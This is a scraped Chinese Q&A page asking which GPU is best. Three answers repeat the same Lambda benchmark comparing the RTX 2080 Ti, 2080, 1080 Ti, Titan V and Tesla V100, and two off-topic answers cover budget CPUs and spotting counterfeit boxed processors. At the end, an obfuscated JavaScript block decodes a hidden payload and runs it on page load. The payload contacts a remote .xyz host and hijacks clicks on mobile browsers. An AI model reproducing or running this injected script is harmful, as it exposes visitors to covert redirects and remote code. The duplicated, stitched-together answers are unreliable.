什么GPU最好?

2025-02-18 03:14:17
推荐回答(5个)
回答1:

根据全面定性定量的实验结果,截至2018年10月8日,NVIDIA RTX 2080 Ti是现在最好的深度学习GPU(用单个GPU运行Tensoflow)。以单GPU系统的性能为例,对比其他GPU,它的优劣分别是:
FP32时,速度比1080 Ti快38%;FP16时,快62%。在价格上,2080 Ti比1080 Ti贵25%
FP32时,速度比2080快35%;FP16时,快47%。在价格上,2080 Ti比2080贵25%
FP32时,速度是Titan V的96%;FP16时,快3%。在价格上,2080 Ti是Titan V的1/2
FP32时,速度是Tesla V100的80%;FP16时,是Tesla V100的82%。在价格上,2080 Ti是Tesla V100的1/5
请注意,所有实验都使用Tensor Core(可用时),并且完全按照单个GPU系统成本计算。
深入分析
实验中,所有GPU的性能都是通过在合成数据上训练常规模型,测量FP32和FP16时的吞吐量(每秒处理的训练样本数)来进行评估的。为了标准化数据,同时体现其他GPU相对于1080 Ti的提升情况,实验以1080 Ti的吞吐量为基数,将其他GPU吞吐量除以基数计算加速比,这个数据是衡量两个系统间相对性能的指标。

训练不同模型时,各型号GPU的吞吐量
对上图数据计算平均值,同时按不同浮点计算能力进行分类,我们可以得到:

FP16时各GPU相对1080 Ti的加速比

FP32时各GPU相对1080 Ti的加速比
可以发现,2080的模型训练用时和1080 Ti基本持平,但2080 Ti有显著提升。而Titan V和Tesla V100由于是专为深度学习设计的GPU,它们的性能自然会比桌面级产品高出不少。最后,我们再将每个GPU的平均加速情况除以各自总成本:

FP16时各GPU相对1080 Ti的每美元加速情况

FP32时各GPU相对1080 Ti的每美元加速情况
根据这个评估指标,RTX 2080 Ti是所有GPU中最物有所值的。
2080 Ti vs V100:2080 Ti真的那么快吗?
可能有人会有疑问,为什么2080 Ti的速度能达到Tesla V100的80%,但它的价格只是后者的八分之一?答案很简单,NVIDIA希望细分市场,以便那些有足够财力的机构/个人继续购买Tesla V100(约9800美元),而普通用户则可以选择在自己价格接受范围内的RTX和GTX系列显卡——它们的性价比更高。
除了AWS、Azure和Google Cloud这样的云服务商,个人和机构可能还是买2080 Ti更划算。但这不是说亚马逊、微软、Google这些公司“人傻钱多”,Tesla V100确实有一些其他GPU所没有的重要功能:
如果你需要FP64计算。如果你的研究领域是计算流体力学、N体模拟或其他需要高数值精度(FP64)的工作,那么你就得购买Titan V或V100s。
如果你对32 GB的内存有极大需求(比如11G的内存都不够存储模型的1个batch)。这类情况很少见,它面向的是想创建自己的模型体系架构的用户。而大多数人使用的都是像ResNet、VGG、Inception、SSD或Yolo这样的东西,这些人的占比可能不到5%。
面对2080 Ti,为什么还会有人买Tesla V100?这就是NVIDIA做生意的高明之处。
2080 Ti是保时捷911,V100是布加迪威龙
V100有点像布加迪威龙,它是世界上最快的、能在公路上合法行驶的车,同时价格也贵得离谱。如果你不得不担心它的保险和维修费,那你肯定买不起这车。另一方面,RTX 2080 Ti就像一辆保时捷911,它速度非常快,操控性好,价格昂贵,但在炫耀性上就远不如前者。
毕竟如果你有买布加迪威龙的钱,你可以买一辆保时捷,外加一幢房子、一辆宝马7系、送三个孩子上大学和一笔客观的退休金。
原始性能数据
FP32吞吐量
FP32(单精度)算法是训练CNN时最常用的精度。以下是实验中的具体吞吐量数据:

FP16吞吐量(Sako)
FP16(半精度)算法足以训练许多网络,这里实验用了Yusaku Sako基准脚本:

FP32(Sako)

FP16时训练加速比(以1080 Ti为基准)

FP32时训练加速比(以1080 Ti为基准)

价格表现数据(加速/$1,000)FP32

价格表现数据(加速/$1,000)FP16

实验方法
所有模型都在合成数据集上进行训练,这能将GPU性能与CPU预处理性能有效隔离开来。
对于每个GPU,对每个模型进行10次训练实验。测量每秒处理的图像数量,然后在10次实验中取平均值。
计算加速基准的方法是获取的图像/秒吞吐量除以该特定模型的最小图像/秒吞吐量。这基本上显示了相对于基线的百分比改善(在本实验中基准为1080 Ti)。
2080 Ti、2080、Titan V和V100基准测试中考虑到了Tensor Core。
实验中使用的batch size

此外,实验还有关于硬件、软件和“什么是典型的单GPU系统”的具体设置,力求尽量还原普通用户的模型训练环境,充分保障了结果的准确性。

回答2:

RTX 2080 Ti

RTX 2080

GTX 1080 Ti

Titan V

Tesla V100

为了从中挑选出最佳GPU,我们会从定价、性能两个维度对它们进行分析。

实验结果

根据全面定性定量的实验结果,截至2018年10月8日,NVIDIA RTX 2080 Ti是现在最好的深度学习GPU(用单个GPU运行Tensoflow)。以单GPU系统的性能为例,对比其他GPU,它的优劣分别是:

FP32时,速度比1080 Ti快38%;FP16时,快62%。在价格上,2080 Ti比1080 Ti贵25%

FP32时,速度比2080快35%;FP16时,快47%。在价格上,2080 Ti比2080贵25%

FP32时,速度是Titan V的96%;FP16时,快3%。在价格上,2080 Ti是Titan V的1/2

FP32时,速度是Tesla V100的80%;FP16时,是Tesla V100的82%。在价格上,2080 Ti是Tesla V100的1/5

请注意,所有实验都使用Tensor Core(可用时),并且完全按照单个GPU系统成本计算。

深入分析

实验中,所有GPU的性能都是通过在合成数据上训练常规模型,测量FP32和FP16时的吞吐量(每秒处理的训练样本数)来进行评估的。为了标准化数据,同时体现其他GPU相对于1080 Ti的提升情况,实验以1080 Ti的吞吐量为基数,将其他GPU吞吐量除以基数计算加速比,这个数据是衡量两个系统间相对性能的指标。

训练不同模型时,各型号GPU的吞吐量

对上图数据计算平均值,同时按不同浮点计算能力进行分类,我们可以得到:

FP16时各GPU相对1080 Ti的加速比

FP32时各GPU相对1080 Ti的加速比

可以发现,2080的模型训练用时和1080 Ti基本持平,但2080 Ti有显著提升。而Titan V和Tesla V100由于是专为深度学习设计的GPU,它们的性能自然会比桌面级产品高出不少。最后,我们再将每个GPU的平均加速情况除以各自总成本:

FP16时各GPU相对1080 Ti的每美元加速情况

FP32时各GPU相对1080 Ti的每美元加速情况

根据这个评估指标,RTX 2080 Ti是所有GPU中最物有所值的。

回答3:

给大家带来了另一篇更具说服力的文章,它来自人工智能硬件公司Lambda,主要对比分析了RTX 2080 Ti、RTX 2080、GTX 1080 Ti、Titan V和Tesla V100的成本、价格差异。

在深度学习实践中,很多人会经常问一个问题:什么是最好的深度学习GPU?在这篇文章中,我们将主要分析以下几款目前最优秀的GPU:

RTX 2080 Ti

RTX 2080

GTX 1080 Ti

Titan V

Tesla V100

为了从中挑选出最佳GPU,我们会从定价、性能两个维度对它们进行分析。

实验结果

根据全面定性定量的实验结果,截至2018年10月8日,NVIDIA RTX 2080 Ti是现在最好的深度学习GPU(用单个GPU运行Tensoflow)。以单GPU系统的性能为例,对比其他GPU,它的优劣分别是:

FP32时,速度比1080 Ti快38%;FP16时,快62%。在价格上,2080 Ti比1080 Ti贵25%

FP32时,速度比2080快35%;FP16时,快47%。在价格上,2080 Ti比2080贵25%

FP32时,速度是Titan V的96%;FP16时,快3%。在价格上,2080 Ti是Titan V的1/2

FP32时,速度是Tesla V100的80%;FP16时,是Tesla V100的82%。在价格上,2080 Ti是Tesla V100的1/5

请注意,所有实验都使用Tensor Core(可用时),并且完全按照单个GPU系统成本计算。

深入分析

实验中,所有GPU的性能都是通过在合成数据上训练常规模型,测量FP32和FP16时的吞吐量(每秒处理的训练样本数)来进行评估的。为了标准化数据,同时体现其他GPU相对于1080 Ti的提升情况,实验以1080 Ti的吞吐量为基数,将其他GPU吞吐量除以基数计算加速比,这个数据是衡量两个系统间相对性能的指标。
训练不同模型时,各型号GPU的吞吐量

对上图数据计算平均值,同时按不同浮点计算能力进行分类,我们可以得到:
FP16时各GPU相对1080 Ti的加速比

FP32时各GPU相对1080 Ti的加速比

可以发现,2080的模型训练用时和1080 Ti基本持平,但2080 Ti有显著提升。

回答4:

最佳预算CPU

AMD Ryzen 3 2200G


首先,我们拥有最好的预算CPU,而之前我们使用的是英特尔奔腾G4600,这在当时几乎是不可能的。这一次,虽然Gold G5400并没有真正提供任何新功能,但时钟频率增加200 MHz并不会让它在今天过于频繁。

Ryzen 3 2200G虽然有点贵(但仍不到800),但它为世界带来更多价值。除了成为真正的四核之外,集成的Vega 8 GPU对于那些不再购买独立显卡的人来说,功能强大得多。

2200G的真正竞争来自Core i3-8100,它的价格相差100多块钱,但是如果没有独立显卡,它又会被吸引。然后使用GTX 1060或RX 580,它们都可以提供类似的游戏体验。对于生产率工作负载和一般使用情况,它们是均匀匹配的,但一旦超频,2200G一般会出现在顶端。

Ryzen 3 2200G是一款可以在经济实惠的主板上超频的解锁部件,可以利用更高时钟频率的内存,包含强大的集成GPU,并且比Core i3-8100稍微便宜,因此成为我们的第一款预算CPU挑选。

最好的全面价值CPU

AMD Ryzen 5 2600X


如果你花费大约2000购买新的CPU,并且你需要能够以最大效率处理任何和所有任务的东西,那么Ryzen 5 2600或2600X是必须的。

值得注意的是,英特尔的酷睿i5-8400是一款颇具吸引力的替代产品,价格也便宜一些,可以说在今日的游戏中提供了更好的游戏性能。但是,尽管R5 2600可能不太适合游戏,但在生产力工作负载方面,它却处于不同的联盟中。

可以肯定地说,卓越的多线程性能抵消了较弱的游戏性能。当然,当谈到游戏的时候,我总结道,因为在某些游戏中,第二代Ryzen CPU速度更快。

2600和2600X也可以解锁CPU,并可以在廉价的B350主板上超频。正如我们之前讨论过的,我们也喜欢AMD承诺至少在2020年前支持AM4平台,这是明智的投资。

回答5:

选购CPU:
核数选择
如果玩游戏的话,个人认为四核也是必要的。因为按照60%并行计算的话,双核加速比例约1.6倍,而四核至少能有2.2倍(永远不可能达到4倍除非你的游戏不需要显卡而且只是和国际象棋一样) 这样算下来只要是支持四核的游戏,四核还是比双核有优势的。

防假指南
看编号

这个方法对Intel和AMD的处理器同样有效,每一颗正品盒装处理器都有一个唯一的编号,在产品的包装盒上的条形码和处理器表面都会标明这个编号,这个编号相当于手机的IMEI码,如果你购买了处理器后发现这两个编号是不一样的,那就可以肯定你买的这个产品是被不法商人掉包过的了。

看包装

不法商人利用包装偷龙转凤是比较常用的手法,主要是出现在Intel的CPU上,Intel盒装处理器与散包处理器的区别就在于三年质保,价格方面相差几十到上百元不等。当然,AMD盒装也是假货充斥,尤其以闪龙2500+与E6 3000+为多。由于不法商人的工艺制作水平有限,虽然假包装已经成为一个小规模的产业,但在包装盒的印刷制作上还是不可能达到正品包装盒的标准,因此,我们可以从包装盒的印刷等方面入手,识别真假。

以AMD的包装盒为例,没有拆封过的包装盒贴有一张标贴,如果没有这张标贴,那肯定是假货。而这张标贴也是鉴别包装盒真伪的一个切入点。从图中可以看到,正品的标贴通过机器刻上了“十”字形的割痕,在撕开后这张标贴就会损坏而作废。而假的包装盒上面也有这张标贴,也同样有这个“十”字形的割痕,不过请注意,正品的“十”字形割痕中间并没有连在一起,而且割痕的长短深度都非常均匀,而假货的标贴往往是制假者自己用刀片割上去的,如果消费者发现这个“十”字形的割痕长短不一,而且中间连在一起,那就可以肯定这是被人动过手脚的了。

另外,由于这个方法的鉴别非常简单,一些不法商人就通过在包装盒上贴上新的编号鱼目

CPU

混珠。鉴别真假的编号也要从印刷上来分辨。正规产品的编号条形码采用的是点阵喷码,字迹清晰,而且能够清楚的看到数字是由一个个“点”组成。而假冒的条形码是用普遍印刷的,字迹较模糊且有粘连感,另外所采用的字体也不尽相同。如果发现这个条形码的印刷太差,字迹模糊,最好就不要购买了。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();